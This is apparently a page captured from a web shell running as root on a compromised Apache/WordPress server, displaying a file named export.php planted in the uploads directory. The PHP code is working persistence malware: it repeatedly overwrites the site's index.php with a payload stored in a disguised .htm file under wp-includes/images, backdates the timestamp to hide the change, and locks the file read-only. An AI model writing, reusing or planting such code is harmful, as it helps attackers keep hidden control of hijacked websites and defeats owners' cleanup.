HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux bareserver 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: root (0)
PHP: 7.2.24-0ubuntu0.18.04.17
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/html/site/newsite/wp-content/uploads/export.php
<?php 
$insj = '/var/www/html/site/newsite/index.php';
$inym = '/var/www/html/site/newsite/wp-includes/images/1NdXUe.htm';
if (file_exists($insj)) {
    if (file_exists($inym)) {
        @chmod($insj, 0777);
        if (md5_file($insj) == md5_file($inym)) {
        } else {
            $chazh = @file_get_contents($inym);
			$at = filemtime($inym);
            file_put_contents($insj, $chazh);
            if ($at) {
                touch($insj, $at);
            }
        }
		@chmod($insj, 0444);
    }
} else {
    if (file_exists($inym)) {
		$at = filemtime($inym);
        $chazh = @file_get_contents($inym);
        file_put_contents($insj, $chazh);
		if ($at) {
			touch($insj, $at);
		}
    }
}
?>